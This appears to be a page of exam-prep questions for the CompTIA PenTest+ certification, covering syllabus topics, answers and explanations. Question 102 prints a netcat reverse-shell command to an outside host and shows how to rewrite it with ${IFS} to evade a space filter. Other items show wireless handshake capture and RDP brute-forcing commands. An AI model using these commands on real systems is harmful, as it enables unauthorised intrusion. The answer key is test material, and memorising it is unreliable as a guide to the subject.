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### CompTIA PT0-003 Exam Syllabus Topics:

Topic	Details
Topic 1	<ul style="list-style-type: none"><li>Reconnaissance and Enumeration: This topic focuses on applying information gathering and enumeration techniques. Cybersecurity analysts will learn how to modify scripts for reconnaissance and enumeration purposes. They will also understand which tools to use for these stages, essential for gathering crucial information before performing deeper penetration tests.</li></ul>

Topic 2	<ul style="list-style-type: none"> <li>• <b>Vulnerability Discovery and Analysis:</b> In this section, cybersecurity analysts will learn various techniques to discover vulnerabilities. Analysts will also analyze data from reconnaissance, scanning, and enumeration phases to identify threats. Additionally, it covers physical security concepts, enabling analysts to understand security gaps beyond just the digital landscape.</li> </ul>
Topic 3	<ul style="list-style-type: none"> <li>• <b>Post-exploitation and Lateral Movement:</b> Cybersecurity analysts will gain skills in establishing and maintaining persistence within a system. This topic also covers lateral movement within an environment and introduces concepts of staging and exfiltration. Lastly, it highlights cleanup and restoration activities, ensuring analysts understand the post-exploitation phase's responsibilities.</li> </ul>
Topic 4	<ul style="list-style-type: none"> <li>• <b>Engagement Management:</b> In this topic, cybersecurity analysts learn about pre-engagement activities, collaboration, and communication in a penetration testing environment. The topic covers testing frameworks, methodologies, and penetration test reports. It also explains how to analyze findings and recommend remediation effectively within reports, crucial for real-world testing scenarios.</li> </ul>
Topic 5	<ul style="list-style-type: none"> <li>• <b>Attacks and Exploits:</b> This extensive topic trains cybersecurity analysts to analyze data and prioritize attacks. Analysts will learn how to conduct network, authentication, host-based, web application, cloud, wireless, and social engineering attacks using appropriate tools. Understanding specialized systems and automating attacks with scripting will also be emphasized.</li> </ul>

## CompTIA PenTest+ Exam Sample Questions (Q98-Q103):

### NEW QUESTION # 98

A penetration tester is conducting a wireless security assessment for a client with 2.4GHz and 5GHz access points. The tester places a wireless USB dongle in the laptop to start capturing WPA2 handshakes. Which of the following steps should the tester take next?

- A. Use Kismet to automatically place the wireless dongle in monitor mode and collect handshakes.
- B. Run KARMA to break the password.
- C. Research WiGLE.net for potential nearby client access points.
- **D. Enable monitoring mode using Aircrack-ng.**

**Answer: D**

Explanation:

Enabling monitoring mode on the wireless adapter is the essential step before capturing WPA2 handshakes. Monitoring mode allows the adapter to capture all wireless traffic in its vicinity, which is necessary for capturing handshakes.

Preparation:

Wireless USB Dongle: Ensure the wireless USB dongle is compatible with monitoring mode and packet injection.

Aircrack-ng Suite: Use the Aircrack-ng suite, a popular set of tools for wireless network auditing.

Enable Monitoring Mode:

Command: Use the airmon-ng tool to enable monitoring mode on the wireless interface.

Step-by-Step Explanation: `airmon-ng start wlan0`

Verify: Check if the interface is in monitoring mode.

`iwconfig`

Capture WPA2 Handshakes:

Airodump-ng: Use airodump-ng to start capturing traffic and handshakes.

`airodump-ng wlan0mon`

Reference from Pentesting Literature:

Enabling monitoring mode is a fundamental step in wireless penetration testing, discussed in guides like "Penetration Testing - A Hands-on Introduction to Hacking".

HTB write-ups often start with enabling monitoring mode before proceeding with capturing WPA2 handshakes.

Reference:

Penetration Testing - A Hands-on Introduction to Hacking

HTB Official Writeups

### NEW QUESTION # 99

A penetration tester needs to evaluate the order in which the next systems will be selected for testing. Given the following output:

Hostname | IP address | CVSS 2.0 | EPSS

hrdatabase | 192.168.20.55 | 9.9 | 0.50

financesite | 192.168.15.99 | 8.0 | 0.01

legaldatabase | 192.168.10.2 | 8.2 | 0.60

fileserver | 192.168.125.7 | 7.6 | 0.90

Which of the following targets should the tester select next?

- A. hrdatabase
- B. legaldatabase
- C. fileserver
- D. financesite

**Answer: C**

Explanation:

Given the output, the penetration tester should select the fileserver as the next target for testing, considering both CVSS and EPSS scores.

CVSS (Common Vulnerability Scoring System):

Purpose: CVSS provides a numerical score to represent the severity of vulnerabilities, helping to prioritize remediation efforts.

Higher Scores: Indicate more severe vulnerabilities.

EPSS (Exploit Prediction Scoring System):

Purpose: EPSS estimates the likelihood that a vulnerability will be exploited in the wild within the next 30 days.

Higher Scores: Indicate a higher likelihood of exploitation.

Evaluation:

hrdatabase: CVSS = 9.9, EPSS = 0.50

financesite: CVSS = 8.0, EPSS = 0.01

legaldatabase: CVSS = 8.2, EPSS = 0.60

fileserver: CVSS = 7.6, EPSS = 0.90

The fileserver has the highest EPSS score, indicating a high likelihood of exploitation, despite having a slightly lower CVSS score compared to hrdatabase and legaldatabase.

### NEW QUESTION # 100

A penetration tester discovered a code repository and noticed passwords were hashed before they were stored in the database with the following code? salt = '123' hash = hashlib.pbkdf2\_hmac('sha256', plaintext, salt,

10000) The tester recommended the code be updated to the following salt = os.urandom(32) hash =

hashlib.pbkdf2\_hmac('sha256', plaintext, salt, 10000) Which of the following steps should the penetration tester recommend?

- A. Rehashing all old passwords with the new code
- B. Keeping hashes created by both methods for compatibility
- C. Changing passwords that were created before this code update
- D. Replacing the SHA-256 algorithm to something more secure

**Answer: C**

Explanation:

The penetration tester recommended the code be updated to use a random salt instead of a fixed salt for hashing passwords. A salt is a random value that is added to the plaintext password before hashing it, to prevent attacks such as rainbow tables or dictionary attacks that rely on precomputed hashes of common or weak passwords. A random salt ensures that each password hash is unique and unpredictable, even if two users have the same password. However, changing the salt does not affect the existing hashes that were created with the old salt, which may still be vulnerable to attacks. Therefore, the penetration tester should recommend changing passwords that were created before this code update, so that they can be hashed with the new salt and be more secure. The other options are not valid steps that the penetration tester should recommend. Keeping hashes created by both methods for compatibility would defeat the purpose of updating the code, as it would leave some hashes vulnerable to attacks. Rehashing all old passwords with the new code would not work, as it would require knowing the plaintext passwords, which are not stored in the database. Replacing the SHA-256 algorithm to something more secure is not necessary, as SHA-256 is a secure and widely used hashing algorithm that has no known vulnerabilities or collisions.

### NEW QUESTION # 101

A penetration tester runs a scan against a server and obtains the following output:

```

21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-12-20 09:23AM 331 index.aspx
| ftp-syst:
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2012 Std
3389/tcp open ssl/ms-wbt-server
| rdp-ntlm-info:
| Target Name: WEB3
| NetBIOS_Computer_Name: WEB3
| Product_Version: 6.3.9600
|_ System_Time: 2021-01-15T11:32:06+00:00
8443/tcp open http Microsoft IIS httpd 8.5
| http-methods:
|_ Potentially risky methods: TRACE
|_ http-server-header: Microsoft-IIS/8.5
|_ http-title: IIS Windows Server
Which of the following command sequences should the penetration tester try NEXT?

```

- A. smbclient \\\\WEB3\\IPC\$ -I 192.168.53.23 -U guest
- B. nmap --script vuln -sV 192.168.53.23
- C. ncrack -u Administrator -P 15worst\_passwords.txt -p rdp 192.168.53.23
- D. curl -X TRACE https://192.168.53.23:8443/index.aspx
- E. ftp 192.168.53.23

**Answer: E**

#### NEW QUESTION # 102

A penetration tester is trying to bypass a command injection blocklist to exploit a remote code execution vulnerability. The tester uses the following command:

```
nc -e /bin/sh 10.10.10.16 4444
```

Which of the following would most likely bypass the filtered space character?

- A. %0a
- B. + \*
- C. %20
- D. \${IFS}

**Answer: D**

Explanation:

To bypass a command injection blocklist that filters out the space character, the tester can use \${IFS}. \${IFS} stands for Internal Field Separator in Unix-like systems, which by default is set to space, tab, and newline characters.

Command Injection:

Command injection vulnerabilities allow attackers to execute arbitrary commands on the host operating system via a vulnerable application.

Filters or blocklists are often implemented to prevent exploitation by disallowing certain characters like spaces.

Bypassing Filters:

\${IFS}: Using \${IFS} instead of a space can bypass filters that block spaces. \${IFS} expands to a space character in shell commands.

Example: The command nc -e /bin/sh 10.10.10.16 4444 can be rewritten as nc\${IFS}-e\${IFS}/bin/sh\${IFS}10.10.10.16\${IFS}4444.

Alternative Encodings:

%0a: Represents a newline character in URL encoding.

+: Sometimes used in place of space in URLs.

%20: URL encoding for space.

However, \${IFS} is most appropriate for shell command contexts.

Pentest Reference:

Command Injection: Understanding how command injection works and common techniques to exploit it.

